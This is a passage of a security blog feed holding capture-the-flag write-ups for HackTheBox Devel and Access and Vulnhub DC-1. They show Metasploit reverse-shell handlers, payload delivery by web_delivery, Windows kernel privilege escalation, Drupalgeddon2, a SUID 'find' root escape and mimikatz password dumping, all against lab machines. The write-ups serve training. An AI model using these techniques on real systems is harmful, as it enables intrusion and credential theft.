&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; 
&lt;span class=&quot;nt&quot;&gt;---SNIP---&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;E] MS10-047: Vulnerabilities &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;Windows Kernel Could Allow Elevation of Privilege &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;981852&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; - Important
&lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;M] MS10-015: Vulnerabilities &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;Windows Kernel Could Allow Elevation of Privilege &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;977165&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; - Important &amp;lt;&lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;M] MS10-002: Cumulative Security Update &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;Internet Explorer &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;978207&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; - Critical
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;M] MS09-072: Cumulative Security Update &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;Internet Explorer &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;976325&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; - Critical
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;em&gt;ms10_015_kitrap0d&lt;/em&gt; can be used to elevate the privilages by exploiting a kernel vulnerability. Metasploit has available module which could this automatically. Repeat the same steps done to generate a generic non-meterpreter payload to create a meterpreter alternative. Afterwards, use &lt;em&gt;multi/handler&lt;/em&gt; and set the payload you used for the generation of the reverse shell file.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;msfconsole &lt;span class=&quot;nt&quot;&gt;-q&lt;/span&gt;
msf5 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; use multi/handler

msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;multi/handler&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;payload windows/meterpreter/reverse_tcp
payload &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; windows/meterpreter/reverse_tcp

msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;multi/handler&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;lhost 10.10.14.10
lhost &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 10.10.14.10

msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;multi/handler&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;lport 7001
lport &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 7001

msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;multi/handler&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; exploit &lt;span class=&quot;nt&quot;&gt;-j&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Exploit running as background job 0.
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Exploit completed, but no session was created.

msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;multi/handler&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Started reverse TCP handler on 10.10.14.10:7001 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Sending stage &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;176195 bytes&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; to 10.10.10.5
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Meterpreter session 1 opened &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;10.10.14.10:7001 -&amp;gt; 10.10.10.5:49166&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2020-12-22 14:56:22 +0000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After obtaining the reverse shell in metasploit, session has to be backgrounded and lastly a search for &lt;em&gt;kitrap0d&lt;/em&gt; showed the needed module.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;multi/handler&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; search kitrap0d

Matching Modules
&lt;span class=&quot;o&quot;&gt;================&lt;/span&gt;

   &lt;span class=&quot;c&quot;&gt;#  Name                                     Disclosure Date  Rank   Check  Description&lt;/span&gt;
   -  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;                                     &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;   &lt;span class=&quot;nt&quot;&gt;-----&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   0  exploit/windows/local/ms10_015_kitrap0d  2010-01-19       great  Yes    Windows SYSTEM Escalation via KiTrap0D
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lastly, using the module, setting up the session number of the meterpreter session should allow for the module to successfully complete the exploitation to escalate privileges to &lt;em&gt;NT AUTHORITY/SYSTEM&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;windows/local/ms10_015_kitrap0d&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;session 1
session &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 1

msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;windows/local/ms10_015_kitrap0d&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; exploit

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Started reverse TCP handler on 10.10.14.10:7002 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Launching notepad to host the exploit...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Process 2964 launched.
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Reflectively injecting the exploit DLL into 2964...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Injecting exploit into 2964 ...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Exploit injected. Injecting payload into 2964...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Payload injected. Executing exploit...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Exploit finished, &lt;span class=&quot;nb&quot;&gt;wait &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;hopefully privileged&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; payload execution to complete.
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Sending stage &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;176195 bytes&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; to 10.10.10.5
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Meterpreter session 2 opened &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;10.10.14.10:7002 -&amp;gt; 10.10.10.5:49169&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2020-12-22 14:58:40 +0000

meterpreter &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; getuid
Server username: NT AUTHORITY&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;YSTEM
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, the box was completed and flags can be read.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:webshell&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Simple CMD aspx webshell: &lt;a href=&quot;https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/web-backdoors/asp/cmd.aspx&quot;&gt;https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/web-backdoors/asp/cmd.aspx&lt;/a&gt; &lt;a href=&quot;#fnref:webshell&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:stty&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;STTY shell command: &lt;a href=&quot;https://renenyffenegger.ch/notes/Linux/shell/commands/stty&quot;&gt;https://renenyffenegger.ch/notes/Linux/shell/commands/stty&lt;/a&gt; &lt;a href=&quot;#fnref:stty&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:wes-tool&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Windows Exploit Suggester: https://github.com/AonCyberLabs/Windows-Exploit-Suggester&amp;gt; &lt;a href=&quot;#fnref:wes-tool&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;</content><author><name>Kr0ff</name></author><category term="htb" /><summary type="html">Starting off with a nmap scan to determine open ports, thus attack vector !</summary></entry><entry><title type="html">Vulnhub - DC-1</title><link href="https://cicadasec.com/dc-1" rel="alternate" type="text/html" title="Vulnhub - DC-1" /><published>2019-04-07T00:00:00+01:00</published><updated>2019-04-07T00:00:00+01:00</updated><id>https://cicadasec.com/dc-1-vulnhub</id><content type="html" xml:base="https://cicadasec.com/dc-1">&lt;h1 id=&quot;ov3rv1ew&quot;&gt;~$Ov3rv1ew&lt;/h1&gt;

&lt;p&gt;This is a writeup of the &lt;a href=&quot;https://www.vulnhub.com/series/dc-1,199/&quot;&gt;DC-1 VulnHub&lt;/a&gt; box. The vulnerability was that there was installed an outdated version of &lt;a href=&quot;https://unit42.paloaltonetworks.com/unit42-exploit-wild-drupalgeddon2-analysis-cve-2018-7600/&quot;&gt;Drupal CMS&lt;/a&gt; which lead to the exploitation of the webserver and getting a shell as ‘www-data’. After that, a short digging in the system has showed that “find” program in Linux has a SUID which allowed the attacker to privilige escalate to root user.&lt;/p&gt;

&lt;p&gt;Although this is an easy box, there was a rabbit hole that some people might have felt in. This rabbit hole was the kernel version of the system (3.2.0-6-428). Some people may have thought that &lt;a href=&quot;https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails&quot;&gt;DirtyCow&lt;/a&gt; exploit would work, but DirtyCow is not always a good idea to run, due to possible crashes of the system that it can cause. Even if DirtyCow would’ve worked, it should be the last option for privilige escalation.&lt;/p&gt;

&lt;p&gt;Official CVE page of the Drupal exploit can be found &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;st4rt_j0urn3y&quot;&gt;~$St4rt_J0urn3y&lt;/h2&gt;

&lt;p&gt;Our journey will start with a Nmap scan on the target to determine what services are open on the target. Maybe there could be something that is outdated or possibly something is misconfigured and Nmap’s scripts could identify that.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-sC&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-oN&lt;/span&gt; &amp;lt;PATH_TO_OUTPUT&amp;gt; &amp;lt;IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/dc-1-vulnhub/nmap.png&quot; alt=&quot;nmap&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see that Nmap has found 3 ports open:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;80 / HTTP&lt;/li&gt;
  &lt;li&gt;111 / RPC&lt;/li&gt;
  &lt;li&gt;22 / SSH&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We can also see that Nmap has found some default folders and files that can be found with an installation of Drupal CMS. We can check for ‘robots.txt’. We find the file “CHANGELOG.txt” which is placed in the root directory of the webserver, however, we get that the file was not found.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/dc-1-vulnhub/robots-txt.png&quot; alt=&quot;robots.txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/dc-1-vulnhub/changelog-nonexisting.png&quot; alt=&quot;changelog&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Luckily, there is a tool called ‘droopescan’, it will enumerate the webserver and the installation of the Drupal CMS and it will find any misconfigurations and possible vulnerabilities that we can exploit.&lt;/p&gt;

&lt;p&gt;Quick clone of the repository of Droopscan and running the commands:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. git clone https://github.com/droope/droopescan
2. &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;droopescan
3. pip &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; requirements.txt
4. ./droopescan scan &lt;span class=&quot;nt&quot;&gt;--help&lt;/span&gt;

If you would like to &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;the tool on the system run:
1. &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;droopescan
2. python setup.py &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That will install the tool and we are ready to use it. Now let’s enumerate the machine with the tool.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;droopescan scan drupal &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &amp;lt;IP_OF_TARGET&amp;gt; &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; 10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/dc-1-vulnhub/droopescan.png&quot; alt=&quot;droopescan&quot; /&gt;&lt;/p&gt;

&lt;p&gt;By the output of droopescan, we can determine that the version of the installed Drupal CMS is one between 7.22 - 7.26. If we search for vulnerabilities that were found in any version between these that the tool found, we can test that against the target. Although, this is not a good practice to test random exploits on a system that we don’t know the exact version of, it is our only option.&lt;/p&gt;

&lt;p&gt;A simple google search would show that there is a vulnerability that is known in versions before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1. This vulnerability is known as ‘Drupalgeddon’. We will use it to try and get a reverse shell on the target system.&lt;/p&gt;

&lt;p&gt;I try to stay away from metasploit because of the OSCP requirement and as so, we will use a python exploit that will give us a netcat reverse shell.&lt;/p&gt;

&lt;p&gt;Exploit link -&amp;gt; &lt;a href=&quot;https://github.com/lorddemon/drupalgeddon2&quot;&gt;Drupalgeddon2&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;pr1vil3ge-3scal4tion&quot;&gt;~#Pr1vil3ge 3scal4tion&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/dc-1-vulnhub/drupalgeddon.png&quot; alt=&quot;drupalgeddon&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/dc-1-vulnhub/revshell.png&quot; alt=&quot;revshell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After getting the reverse shell, we want to get a python tty shell and make the arrow keys and tab completion work.
For this to work we background the netcat reverse shell and type:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ctrl + z
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;stty &lt;/span&gt;raw &lt;span class=&quot;nt&quot;&gt;-echo&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;fg&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When you type the stty command you will not see input but press enter and you will access the reverse shell again. Lastly, we want to be able to clear the screen if we need it, so this can be done by setting a global environment variable to ‘xterm’.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TERM&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;xterm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we now have a shell in the system, it is time to enumerate it. Checking the usual locations where something could be found misconfigured, such as /usr/bin, /bin/, /etc/ssh/ and others, we can find that in /usr/bin/, the program ‘find’ has a SUID set.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/dc-1-vulnhub/find-proof.png&quot; alt=&quot;find-suid&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can use this to exploit the system and get root! Going to &lt;a href=&quot;https://gtfobins.github.io/gtfobins/find/#shell&quot;&gt;GTFObins&lt;/a&gt;, we search for “find” tool and use the command shown to execute a system shell and get root.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;find &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-exec&lt;/span&gt; /bin/sh &lt;span class=&quot;se&quot;&gt;\;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-quit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For a detailed explanation of the command you can go to &lt;a href=&quot;https://explainshell.com/explain?cmd=find+.+-exec+%2Fbin%2Fsh+%5C%3B+-quit&quot;&gt;explainshell.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/dc-1-vulnhub/root-taken.png&quot; alt=&quot;root&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We now have an effective user ID of root and got the flag! The box is completed!&lt;/p&gt;</content><author><name>Kr0ff</name></author><category term="vulnhub" /><summary type="html">~$Ov3rv1ew</summary></entry><entry><title type="html">HackTheBox - Access</title><link href="https://cicadasec.com/htb-access" rel="alternate" type="text/html" title="HackTheBox - Access" /><published>2019-03-03T00:00:00+00:00</published><updated>2019-03-03T00:00:00+00:00</updated><id>https://cicadasec.com/htb-access</id><content type="html" xml:base="https://cicadasec.com/htb-access">&lt;p&gt;&lt;img src=&quot;/assets/htb-images/access/infocard.png&quot; alt=&quot;BoxInfo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As always, I am starting off with an Nmap scan to determine open ports. After the scan has completed I will be able to determine my attack vector.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/access/Nmap.png&quot; alt=&quot;Nmap&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So it looked like that RDP and telnet are open, FTP allows for anonymous login. When I tried to access the FTP service from the browser It seems that i cannot do it, but when I tried to login from the terminal it allowed me ! I was prompted for username so I just used Anonymous for user and blank password, since the header of Nmap output, showed that FTP allows for anonymous access ! There were 2 directories inside FTP service: Backups and Engineer. Backups folder contained a file called “backup.mdb” and folder Engineer contained a zip file “Account Access.zip”. I ran strings command on backups.mdb and I found
several interesting things:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;admin , administrator, engineer, backup_admin, access4u@security&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The last one access4u@security looked more like a password and so I passed it to the zip file: Access Control.zip and it worked so i extracted the file inside. Now the file inside the compressed file had an extension “.pst” so I used a tool called readpst to convert the file and read it with any kind of editor. After I opened the file, I found some information about an account on the system.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/access/acc_security.png&quot; alt=&quot;acc_security&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I used the found credentials in the Microsoft Telnet Service (port 3389) and it prompted me with a shell. So now I was inside the system and I could run commands.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/access/telnetaccess.png&quot; alt=&quot;telnetaccess&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After enumerating the system, I didn’t find anything, so I decide to upload a windows enumeration script to find something for me. I have immediately discovered that I wasn’t allowed to use backspace and arrows to quickly navigate through commands. I have decided to get a meterpreter session, but after trying to get through payload execution on the system it didn’t work, so I opted to get a web based reverse shell, using the module ‘exploit/multi/script/web_delivery’. What this module will do, is to generate a powershell command, which will be base64 encrypted to evade windows defender and metasploit will also open a web server on my machine so that when I execute the command in the telnet session, the windows box will access my metasploit web server, grab the payload and execute it.&lt;/p&gt;

&lt;p&gt;As for the enumeration script, I used Sherlock (made by RastaMouse). This script is going to check for missing patches &amp;amp; software as well as show possible ways of privilege escalation. When the script finished the enumeration, I saw that script has found a common way of privilege escalation in Windows, Secondary Logon Handle, CVE: MS16-032! Once I tested the exploit it did not work, so I would assume at this point that the system was patched against this exploit.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; In Metasploit
 $ use multi/script/web_delivery
 $ set payload windows/x64/meterpreter/reverse_https
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Had some error with this exploit saying its not compatible so running this command fixed it !&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; $ set target 2 ----&amp;gt; Sets payload delivery via Powershell
 $ set LHOST  
 $ set LPORT &amp;lt;&amp;gt;
 $ exploit -j
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Copy command from metasploit &amp;amp; run on target machine !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/access/Payload_Delivery.png&quot; alt=&quot;Payload_Delivery&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I now had 2 shells as user ‘security’, one telnet &amp;amp; one meterpreter session. As MS16-032 did not worked,I have checked to see the closest exploit to date to MS16-032 and it was the MS16-014. Metasploit has a post exploitation module which uses this exploit to escalate privileges.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; In Metasploit after I get shell !

 $ meterpreter&amp;gt; background
 $ search ms16-014
 $ use exploit/windows/local/ms16_014_wmi_recv_notif
 $ set session 1
 $ exploit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;/assets/htb-images/access/MS16-014MSFpostModule.png&quot; alt=&quot;MS16-014MSFpostModule&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This privilege escalation exploit spawned me in shell session instead of in meterpreter as NT_AUTHORITY user, so I quickly changed it to a meterpreter session using a post module.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; Switch from Shell -&amp;gt; Meterpreter

 $ctrl + z
 $ use post/multi/manage/shell_to_meterpreter
 $ set LHOST  
 $ set LPORT &amp;lt;&amp;gt;
 $ set session 2
 $ exploit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/access/System-Meterpreter.png&quot; alt=&quot;System-Meterpreter&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this point, I tried to read the flag, but with no luck! Interestingly enough, I wasn’t able to do because I didn’t have permission and I was NT_AUTHORITY so it was really weird. My attempt to this was to grab the password for the Administrator user using mimikatz (developed by gentlekiwi). I uploaded the tool, and ran it, and I grabbed the password for user Administrator. After this, I opened another telnet session and logged in as Administrator and now I was able to read the root flag!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/access/MimikatzGetPasswds.png&quot; alt=&quot;MimikatzGetPasswds&quot; /&gt;&lt;/p&gt;

